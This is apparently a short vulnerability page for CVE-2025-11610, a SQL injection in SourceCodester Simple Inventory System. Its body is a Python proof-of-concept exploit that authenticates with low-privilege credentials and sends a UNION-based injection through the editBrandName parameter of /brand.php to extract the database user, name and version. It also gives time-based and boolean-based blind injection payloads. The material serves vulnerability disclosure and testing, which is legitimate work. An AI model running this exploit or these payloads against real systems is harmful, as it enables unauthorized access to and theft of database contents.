CVE-2025-11610：SourceCodester Simple Inventory System SQL注入漏洞

# CVE-2025-11610 - SourceCodester Simple Inventory System SQL Injection PoC # Vulnerability location: /brand.php # Vulnerable parameter: editBrandName import requests # Target configuration TARGET_URL = "http://target-site.com" # Replace with actual target BRAND_ENDPOINT = "/brand.php" # SQL Injection payload targeting editBrandName parameter # Using UNION-based injection to extract database information sql_payload = "1' UNION SELECT 1,user(),database(),version(),5,6,7,8-- -" # Attack steps: # 1. Authenticate to obtain a valid session (low privilege required) # 2. Send malicious request with injected editBrandName parameter # 3. Extract sensitive data from database response def exploit_sql_injection(target_url, payload): """ Exploit SQL injection in editBrandName parameter of brand.php """ session = requests.Session() # Step 1: Login with low-privilege credentials login_data = { "username": "test_user", "password": "test_password" } session.post(f"{target_url}/login.php", data=login_data) # Step 2: Send SQL injection payload via editBrandName parameter params = { "editBrandName": payload } response = session.get(f"{target_url}{BRAND_ENDPOINT}", params=params) # Step 3: Parse response for extracted data if response.status_code == 200: print(f"[+] Response received ({len(response.text)} bytes)") print(f"[+] Database info extracted from response:") # The injected data will appear in the HTML response return response.text else: print(f"[-] Request failed with status: {response.status_code}") return None # Time-based blind injection alternative (if UNION doesn't work) time_based_payload = "1' AND SLEEP(5)-- -" # Boolean-based blind injection alternative boolean_payload = "1' AND 1=1-- -" if __name__ == "__main__": print("[*] CVE-2025-11610 PoC - SQL Injection in brand.php") print(f"[*] Target: {TARGET_URL}") result = exploit_sql_injection(TARGET_URL, sql_payload) print(result)